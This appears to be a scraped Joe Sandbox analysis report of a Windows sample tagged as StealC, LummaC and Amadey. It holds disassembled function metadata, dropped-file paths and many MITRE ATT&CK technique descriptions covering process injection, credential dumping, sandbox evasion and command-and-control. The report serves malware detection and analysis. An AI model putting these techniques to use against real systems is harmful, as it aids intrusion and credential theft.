Opcode ID: e14598800cbc14b63090d73ae88cee87996ce6beccad5b2fb40a6b4c20696fd9
Instruction ID: 7e675ef882d2650fb7ba88e762128121e22d5dc54d509042170605e971be9464
Opcode Fuzzy Hash: e14598800cbc14b63090d73ae88cee87996ce6beccad5b2fb40a6b4c20696fd9
Instruction Fuzzy Hash: B811652330299095CB60EF75E851AAD2320EBD6FA8F5843729F6D57796CE20C867C304

Function 00030160 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 123COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 000301D7
_CxxThrowException.MSVCRT ref: 000302EA

Part of subcall function 0002FD30: _CxxThrowException.MSVCRT ref: 0002FE50

_CxxThrowException.MSVCRT ref: 0003031F

Strings

There is no second file name for rename pair:, xrefs: 00030302
Empty file path, xrefs: 000302CD

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: ExceptionThrow$free
String ID: Empty file path$There is no second file name for rename pair:
API String ID: 3129652135-1725603831
Opcode ID: 5b9fd34c360db10dc0dd9c3cf23a0ee1fe89007478e2cf63242fd60c53b15542
Instruction ID: 31b39b26a8e7ef4c8de52f8471edabd91c8cf9e107fafa244ffd529ccf877c63
Opcode Fuzzy Hash: 5b9fd34c360db10dc0dd9c3cf23a0ee1fe89007478e2cf63242fd60c53b15542
Instruction Fuzzy Hash: E5411072206680C1CA31DB19E85079E7B64F386BB8F504712EEB803BE9DB39C586CB40

Function 00067080 Relevance: 7.6, APIs: 6, Instructions: 77COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 000670EC
free.MSVCRT ref: 000670F4
free.MSVCRT ref: 00067101
free.MSVCRT ref: 0006712E
free.MSVCRT ref: 00067136
free.MSVCRT ref: 00067143

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b578af894f36024e1f437a4cb75a0fc809cf4cc32df710a6eb33f0fd421a2ea5
Instruction ID: 946fb675ff3b4fa2546617ebe277c3fc599649b963e0c3043626f4ee0c8a1c60
Opcode Fuzzy Hash: b578af894f36024e1f437a4cb75a0fc809cf4cc32df710a6eb33f0fd421a2ea5
Instruction Fuzzy Hash: FB217C67302A4085DB25DF39D8507696361EBC6FA8F694222DF2D1B799CF35C812C310

Function 000610C4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000610EB
fputs.MSVCRT ref: 00061153
LeaveCriticalSection.KERNEL32 ref: 0006118D

Strings

ERROR: , xrefs: 0006114C

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: CriticalSection$EnterLeavefputs
String ID: ERROR:
API String ID: 4171338575-977468659
Opcode ID: 51b65b70fd9636ec3d92d8d392cf87c406234df2004214009f2d2c7c063ef683
Instruction ID: 665f0c14f66d498a70132af9fc2ac6c4ad1bd1baf934b50528000c74111ebc36
Opcode Fuzzy Hash: 51b65b70fd9636ec3d92d8d392cf87c406234df2004214009f2d2c7c063ef683
Instruction Fuzzy Hash: 3B118F7234198195EB15DF25EC507E82362BB86BA5F5C8331DE6E4B6A5CF388489C310

Function 0003211C Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00032137
free.MSVCRT ref: 000321BB

Part of subcall function 00026618: FormatMessageW.KERNEL32 ref: 00026676
Part of subcall function 00026618: LocalFree.KERNEL32 ref: 00026698

Part of subcall function 0002362C: memmove.MSVCRT ref: 00023659

free.MSVCRT ref: 00032182

Strings

: , xrefs: 00032151, 00032187

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free$ErrorFormatFreeLastLocalMessagememmove
String ID: :
API String ID: 1743135865-3653984579
Opcode ID: 0bd9cf6b41112b825cc91f2e3a5d39e6d602e68f921f465e2c8b822415a3c1c2
Instruction ID: 71b8a737392fc6ff1b6c2c59c506c97a4a68f1bd6421427175c927dee8b661f5
Opcode Fuzzy Hash: 0bd9cf6b41112b825cc91f2e3a5d39e6d602e68f921f465e2c8b822415a3c1c2
Instruction Fuzzy Hash: 5C01696330491091CA21EB25F84429E7721EBD5BF4F545321BE5E477B9DE2CCA86C740

Function 0004A034 Relevance: 5.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0004A070
free.MSVCRT ref: 0004A078
free.MSVCRT ref: 0004A0E2
memmove.MSVCRT ref: 0004A118

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 67c0837a8ac08b8e7b81d59f219567057fac08a4c31a6893a672a0fe60d58eed
Instruction ID: eeb6ec49ba156da4d22e9286f61f4691135e5d725080780ab4dfaa8021892890
Opcode Fuzzy Hash: 67c0837a8ac08b8e7b81d59f219567057fac08a4c31a6893a672a0fe60d58eed
Instruction Fuzzy Hash: B42168B3341B8095DB55AF26EC4076A7394BB96B94F5C8134EF190B381DF78C881C306

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Windows Analysis Report
file.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre